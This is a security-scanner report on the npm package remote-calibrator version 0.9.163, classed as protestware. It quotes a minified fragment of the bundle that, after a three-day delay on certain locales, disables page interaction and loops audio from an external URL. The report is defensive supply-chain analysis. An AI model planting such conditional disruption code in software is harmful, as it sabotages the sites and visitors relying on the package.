Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

remote-calibrator@0.9.163: Malicious npm security report (Block) | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Affected visitors may be unable to interact with the page and may hear repeated audio.

View on npm All versions

registry / remote-calibrator / 0.9.163

remote-calibrator@0.9.163

Useful calibration tools for remote psychophysics experiments

AI Security Review

scanned 11h ago · by lpm-firewall-ai

The browser entrypoint can disable page interaction and play looping audio after a stored three-day delay.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

The bundle runs in a browser where the language and hostname checks match and the stored delay has elapsed.

Impact

Affected visitors may be unable to interact with the page and may hear repeated audio.

Mechanism

It sets the page body to ignore pointer events, appends looping audio from a fixed external URL, and attempts playback.

Attack narrative

The runtime browser bundle checks the visitor language and hostname, records an initial timestamp, and after more than three days disables page interaction and attempts to play looping audio from a fixed external host. This is targeted browser disruption unrelated to the package’s calibration purpose.

AI rationale

The main runtime bundle contains targeted browser disruption with a concrete user impact. The conditional trigger does not make the behavior benign.

Evidence

lib/RemoteCalibrator.min.js

Network endpoints1

flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with false-positive risk.

Stop threats before they install.

Firewall

Threat feed
How it works
Policy

LPM

low

Evidence for block

The package manifest sets the browser bundle as its main entrypoint.
The bundle contains a delayed browser disruption that disables page interaction and loads looping audio from a fixed external host.

Evidence against

The prepare hook only runs Husky setup; the disruption is in the runtime browser entrypoint.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationTelemetryTrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 2.95 MB of source, external domains: arxiv.org, developer.mozilla.org, easyeyes-cors-proxy-1cf4742aef20.herokuapp.com, firebasestorage.googleapis.com, flag-gimn.ru, github.com, mozilla.github.io, sweetalert2.github.io, tfhub.dev, www.shadertoy.com, www.w3.org

Source & flagged code

5 flagged · loading source

lib/RemoteCalibrator.min.jsView file

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

lib/RemoteCalibrator.min.jsView on unpkg

•Trigger-reachable chain: manifest.main -> lib/RemoteCalibrator.min.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/RemoteCalibrator.min.jsView on unpkg

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/RemoteCalibrator.min.jsView on unpkg

1/*! For license information please see RemoteCalibrator.min.js.LICENSE.txt */ L2: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.RemoteCalibr... L3: //# sourceMappingURL=RemoteCalibrator.min.js.map

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/RemoteCalibrator.min.jsView on unpkg · L1

package.jsonView file

5"main": "lib/RemoteCalibrator.min.js", "directories": { "lib": "lib", "homepage": "homepage" }, "scripts": { "setup": "git submodule update --init --recursive && cd src/W

High

Ai Review Evidence

The package manifest sets the browser bundle as its main entrypoint.

package.jsonView on unpkg · L5

Findings

2 Critical2 High2 Medium6 Low

CriticalTargeted Browser Disruption Protestwarelib/RemoteCalibrator.min.js

CriticalTrigger Reachable Dangerous Capabilitylib/RemoteCalibrator.min.js

HighSemantic Analysis Limitedlib/RemoteCalibrator.min.js

HighAi Review Evidencepackage.json

MediumNetwork

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowEvallib/RemoteCalibrator.min.js

LowHigh Entropy Strings

LowTelemetry

LowUrl Strings

Affected versions and remediation

This report applies to remote-calibrator@0.9.163.

See version security history for other recorded verdicts.

Avoid installing remote-calibrator@0.9.163. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-07 22:38:40.792Z (UTC).

99%Malicious

AI assessment confidence

IntentMalware

TypeProtestware

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

AuthorPeiling Jiang

Version0.9.163

Latest on npm0.9.166

PublishedSep 29, 2026

LicenseMIT

Dependencies0

Integrityverified

Package size5.93 MB

Files7

LinksRepository Homepage Issues

Runtime surface

package.json

Entrypointsmain → lib/RemoteCalibrator.min.js

RuntimeNo engine / OS / CPU constraints

Artifact23.8 MB · 7 files2 signature(s)

Install lifecycleprepare

Behavioral surface

EvalNetworkHighEntropyStringsMinifiedPossibleObfuscationTelemetryTrivialUrlStringsManifest: clean

LPM.dev Registry

© 2026 LPM

Source & flagged code

5 flagged

lib/RemoteCalibrator.min.jsView file

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

lib/RemoteCalibrator.min.jsView on unpkg

•Trigger-reachable chain: manifest.main -> lib/RemoteCalibrator.min.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/RemoteCalibrator.min.jsView on unpkg

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/RemoteCalibrator.min.jsView on unpkg

1/*! For license information please see RemoteCalibrator.min.js.LICENSE.txt */ L2: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.RemoteCalibr... L3: //# sourceMappingURL=RemoteCalibrator.min.js.map

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/RemoteCalibrator.min.jsView on unpkg · L1

package.jsonView file

Lines 1-25json

1{

2 "name": "remote-calibrator",

3 "version": "0.9.163",

4 "description": "Useful calibration tools for remote psychophysics experiments",

5 "main": "lib/RemoteCalibrator.min.js",

6

"directories"

: {

7 "lib": "lib",

8 "homepage": "homepage"

9 },

10 "scripts": {

11 "setup": "git submodule update --init --recursive && cd src/WebGazer4RC && bun i && cd ../.. && bun i",

High

Ai Review Evidence

The package manifest sets the browser bundle as its main entrypoint.

package.jsonView on unpkg · L5

12 "format:biome": "biome format --write .",

13 "format:prettier": "prettier --write \"**/*.{md,html,css,scss}\"",

14 "format": "bun run format:biome && bun run format:prettier",

15 "lint": "biome lint --apply .",

16 "start": "webpack serve --env=development",

17 "build": "webpack --env=production",

18 "test": "webpack --env mocha --config=test/webpack.config.test.js && mocha test-exec/test.min.js",

19 "prepare": "husky install",

20 "netlify": "cp -r ./lib ./homepage",

21 "phrases": "node i18n/fetch-languages-sheets.js"

22 },

23 "repository": {

24 "type": "git",

25 "url": "git+https://github.com/EasyEyes/remote-calibrator.git"